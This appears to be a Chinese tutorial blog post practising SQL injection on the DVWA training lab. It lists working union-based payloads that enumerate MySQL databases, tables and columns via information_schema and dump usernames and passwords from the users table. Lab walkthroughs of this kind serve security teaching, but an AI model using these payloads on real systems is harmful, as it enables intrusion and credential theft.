您好,登錄后才能下訂單哦!
關(guān)于sql注入的基礎(chǔ)知識(shí),我上篇文章也寫過了,這篇就用靶機(jī)的漏洞環(huán)境來實(shí)踐操作一下,所謂實(shí)踐出真理嘛,我們這次試用的漏洞平臺(tái)是DVWA,Github下載地址:DVWA
關(guān)于一下注入的基本知識(shí)或者姿勢(shì),我會(huì)在實(shí)踐中詳解。
LOW等級(jí)
先輸入1看一下
我們?cè)诩觽€(gè)單引號(hào)
這里的搜索框?yàn)槭裁礇]有顯示單引號(hào)呢?因?yàn)楸籾rl編碼了
一般的url編碼其實(shí)就是那個(gè)字符的ASCII值得十六進(jìn)制,再在前面加個(gè)%。
具體可以看URL編碼,這里可以查到每個(gè)字符的url編碼,當(dāng)然自己編程或者用該語言應(yīng)該也有自帶的函數(shù),去實(shí)現(xiàn)url編碼。
這里說下sql注入中常見的url編碼:
空格是%20
單引號(hào)是%27
井號(hào)是%23(表注釋)
雙引號(hào)是%22
看報(bào)錯(cuò)我們能看到,這是由' '兩個(gè)單引號(hào)擴(kuò)起來的參數(shù),看看源代碼
我們看
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$id = $_REQUEST[ 'id' ];
參數(shù)沒有經(jīng)過任何的過濾....我們嘗試閉合單引號(hào)。
比如我們輸入id=1' or '1'='1
語句就變成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";
當(dāng)然,我們也可以使用注釋來注釋后面的單引號(hào)
sql中注釋 單行可以使用 #(忽略) --(忽略),多行使用/ /
我們?cè)囋?' #
下面我們來利用漏洞獲取數(shù)據(jù)庫信息
大概步驟就是:
1.猜解所查詢的字段數(shù)目
2.獲取字段顯示位
3.通過顯示位獲取數(shù)據(jù)庫信息
4.獲取數(shù)據(jù)庫中的表名
5.獲取表中的列名(字段)
6.導(dǎo)出數(shù)據(jù)庫中的數(shù)據(jù)
7.驗(yàn)證導(dǎo)出數(shù)據(jù)的有效性
猜解所查詢的字段數(shù)
方式1: order by num
若num數(shù)值超過了字段數(shù),則查詢會(huì)報(bào)錯(cuò),從而判斷出select語句所查詢字段的數(shù)目
輸入:1' order by 2 #
1' order by 3 #
報(bào)錯(cuò),說明數(shù)據(jù)表中只有兩個(gè)字段
方式二:union select 1,2,3...
若union select后的數(shù)字位(不一定是1/2/3,只要有數(shù)字占位即可)與實(shí)際查詢的字段位不完全對(duì)應(yīng)時(shí),查詢就會(huì)報(bào)錯(cuò),直至調(diào)整到不報(bào)錯(cuò)時(shí)的占位個(gè)數(shù),從而判斷實(shí)際查詢的字段數(shù)
輸入:union select 1,2 #
輸入:union select 1,2.3 #
獲取字段的顯示位1' union select 1,2 #
既然顯示位顯示的是我們?cè)O(shè)定數(shù)值,那么我們就通過顯示位獲取數(shù)據(jù),輸出出來
通過顯示位獲取數(shù)據(jù)庫信息
此處會(huì)用到Mysql注入常用的一些函數(shù),可參看此文==>SQL注入常用的內(nèi)置函數(shù)整理(以MySql為例)
獲取當(dāng)前連接的數(shù)據(jù)庫名稱、DBMS的版本(Mysql的版本)1' union select database(),version() #
獲取當(dāng)前連接數(shù)據(jù)庫的用戶1' union select 1,user() #
獲取服務(wù)器的操作系統(tǒng)、數(shù)據(jù)庫的存儲(chǔ)目錄1' union select @@version_compile_os,@@datadir #
獲取數(shù)據(jù)庫中所有數(shù)據(jù)庫名
在此之前,科普一下數(shù)據(jù)庫的知識(shí)
mysql的數(shù)據(jù)庫information_schema,他是系統(tǒng)數(shù)據(jù)庫,安裝完就有,記錄是當(dāng)前數(shù)據(jù)庫的數(shù)據(jù)庫,表,列,用戶權(quán)限等信息
information_schema.schemata 記錄所有的數(shù)據(jù)庫名稱
Information_schema.tables: 記錄表名信息的表(也有數(shù)據(jù)庫名字段)
Information_schema.columns: 記錄列名信息的表(數(shù)據(jù)庫名、表名、字段名)1' union select 1,schema_name from information_schema.schemata #
可能是權(quán)限問題,沒有全部爆出來
去數(shù)據(jù)庫執(zhí)行是這樣的
我們發(fā)現(xiàn)數(shù)據(jù)庫dvwa正是我們想要的,因此,通過此數(shù)據(jù)庫,去爆表
獲取當(dāng)前連接數(shù)據(jù)庫(dvwa)中的所有表1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 后面表示的限制的條件,只查數(shù)據(jù)庫名是dvwa的表
獲取表中的列名(字段)1' union select 1,column_name from information_schema.columns where table_name="users" #
這樣輸出有點(diǎn)亂,我們使用group_concat()
將他們簡(jiǎn)單的輸出出來1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
如果你覺得有點(diǎn)擠,看的不舒服的話,你可以1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #
這樣是不是就明顯多了?關(guān)于group_concat()
,還有concat()
可以自行百度學(xué)習(xí)
知道了數(shù)據(jù)庫的表名、字段名就可以爆表了
爆表1' union select 1,concat(user,'--',password) from users #
還有其他更多的導(dǎo)出操作,一些導(dǎo)出函數(shù)的使用,可以自行嘗試
驗(yàn)證導(dǎo)出數(shù)據(jù)的有效性
OK??!
Medium
只是閉合方式不同
其余操作步驟與上差不多
high
想辦法閉合,其他就自然好起來了!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。